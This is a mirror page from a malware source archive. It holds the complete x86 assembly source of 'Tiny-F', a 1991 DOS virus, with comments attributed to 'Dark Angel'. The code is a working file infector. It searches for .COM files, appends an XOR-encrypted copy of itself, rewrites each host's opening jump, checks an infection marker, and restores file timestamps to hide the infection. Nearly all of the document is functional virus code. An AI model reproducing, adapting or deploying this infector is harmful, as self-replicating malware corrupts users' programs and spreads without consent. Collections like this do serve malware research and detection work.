mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
183 lines
7.3 KiB
NASM
183 lines
7.3 KiB
NASM
tinyv SEGMENT BYTE PUBLIC 'code'
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ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
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ORG 100h
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DOS EQU 21h
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start: JMP pgstart
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exlbl: db 0CDh, 20h, 7, 8, 9
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pgstart:CALL tinyvir
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tinyvir:
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POP SI ; get SI for storage
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SUB SI,offset tinyvir ; reset SI to virus start
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MOV BP,[SI+blnkdat] ; store SI in BP for return
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ADD BP, OFFSET exlbl
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CALL endecrpt
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JMP SHORT realprog
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;-----------------------------------------------------------------------------
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; nonencrypted subroutines start here
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;-----------------------------------------------------------------------------
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; PCM's encryption was stupid, mine is better - Dark Angel
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endecrpt:
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; Only need to save necessary registers - Dark Angel
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PUSH AX ; store registers
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PUSH BX
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PUSH CX
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PUSH SI
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; New, better, more compact encryption engine
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MOV BX, [SI+EN_VAL]
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ADD SI, offset realprog
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MOV CX, endenc - realprog
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SHR CX, 1
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JNC start_encryption
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DEC SI
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start_encryption:
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MOV DI, SI
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encloop:
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LODSW ; DS:[SI] -> AX
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XOR AX, BX
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STOSW
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LOOP encloop
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POP SI ; restore registers
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POP CX
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POP BX
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POP AX
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RET
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;-----end of encryption routine
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nfect:
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CALL endecrpt
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MOV [SI+offset endprog+3],AX; point to data
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MOV AH,40H ; write instruction
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LEA DX,[SI+0105H] ; write buffer loc |
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MOV CX,offset endprog-105h ; (size of virus) --\|/--
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INT DOS ; do it!
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PUSHF
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CALL endecrpt
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POPF
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JC outa1 ; error, bug out
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RET
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outa1:
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JMP exit
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;-----------------------------------------------------------------------------
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; Unencrypted routines end here
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;-----------------------------------------------------------------------------
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realprog:
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CLD ; forward direction for string ops
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; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel
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; Instead, set DTA to SI+ENDPROG+131h
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MOV AH, 1Ah ; Set DTA
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LEA DX, [SI+ENDPROG+131h] ; to DS:DX
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INT 21h
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LEA DX,[SI+fspec] ; get filespec (*.COM)
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XOR CX, CX ; || (clear regs)
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MOV AH,4EH ; || (find files)
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mainloop: ; \||/
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INT DOS ; ----\/----
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JC hiccup ; no more files found, terminate virus
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; Next part had to be changed to account for new DTA address - Dark Angel
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LEA DX, [SI+ENDPROG+131h+30]; set file name pointer
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; (offset 30 is DTA filename start)
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MOV AX,3D02H ; open file
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INT DOS ; do it!
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MOV BX,AX ; move file handle to BX
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MOV AH,3FH ; read file
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LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
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MOV DI,DX ; set Dest Index to area for buffer
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MOV CX,0003H ; read 3 bytes
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INT DOS ; do it!
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CMP BYTE PTR [DI],0E9H ; check for JMP at start
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JE infect ; If begins w/JMP, Infect
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nextfile:
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MOV AH,4FH ; set int 21 to find next file
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JMP mainloop ; next file, do it!
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hiccup: JMP exit
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infect:
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MOV AX,5700h ; get date function
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INT DOS ; do it!
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PUSH DX ; store date + time
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PUSH CX
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MOV DX,[DI+01H] ; set # of bytes to move
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MOV [SI+blnkdat],DX ; " " " " " "
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; Tighter Code here - Dark Angel
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XOR CX,CX ; " " " " " " (0 here)
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MOV AX,4200H ; move file
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INT DOS ; do it!
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MOV DX,DI ; set dest index to area for buffer
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MOV CX,0002H ; two bytes
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MOV AH,3FH ; read file
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INT DOS ; do it!
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CMP WORD PTR [DI],0807H ; check for infection
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JE nextfile ; next file if infected
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getaval: ; encryption routine starts here
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; My modifications here - Dark Angel
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MOV AH, 2Ch ; DOS get TIME function
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INT DOS ; do it!
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OR DX, DX ; Is it 0?
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JE getaval ; yeah, try again
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MOV word ptr [si+offset en_val], DX ; Store it
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; Tighter code here - Dark Angel
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XOR DX,DX ; clear regs
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XOR CX,CX ; " "
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MOV AX,4202H ; move file pointer
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INT DOS ; do it!
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OR DX,DX ; new pointer location 0?
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JNE nextfile ; if no then next file
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CMP AH,0FEH ; new pointer loc too high?
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JNC nextfile ; yes, try again
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CALL nfect
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MOV AX,4200H ; move pointer
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XOR CX, CX ; clear reg
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MOV DX,OFFSET 00001 ; where to set pointer
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INT DOS ; do it!
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MOV AH,40H ; write to file
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LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER
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MOV CX,0002H ; two bytes (the JMP)
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INT DOS ; do it!
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MOV AX,5701h ; store date
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POP CX ; restore time
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POP DX ; restore date
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INT DOS ; do it!
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exit:
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MOV AH,3EH ; close file
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INT DOS ; do it!
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; Return DTA to old position - Dark Angel
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MOV AH, 1Ah ; Set DTA
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MOV DX, 80h ; to PSP DTA
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INT 21h
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JMP BP
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;-----------------------------------------------------------------------------
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; encrypted data goes here
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;-----------------------------------------------------------------------------
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fspec LABEL WORD
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DB '*.COM',0
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nondata DB 'Tiny-F version 1.1' ; Program identification
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DB '<15><><EFBFBD>@&<><EEB7B3>' ; author identification
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DB 'Released 10-19-91' ; release date
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endenc LABEL BYTE ; end of encryption zone
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;-----------------------------------------------------------------------------
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; nonencrypted data goes anywhere after here
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;-----------------------------------------------------------------------------
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blnkdat LABEL WORD
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DW 0000H
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; Only en_val is needed now because of new encryption mechanism
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en_val DW 0h
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endprog LABEL WORD
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tinyv ENDS
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END start
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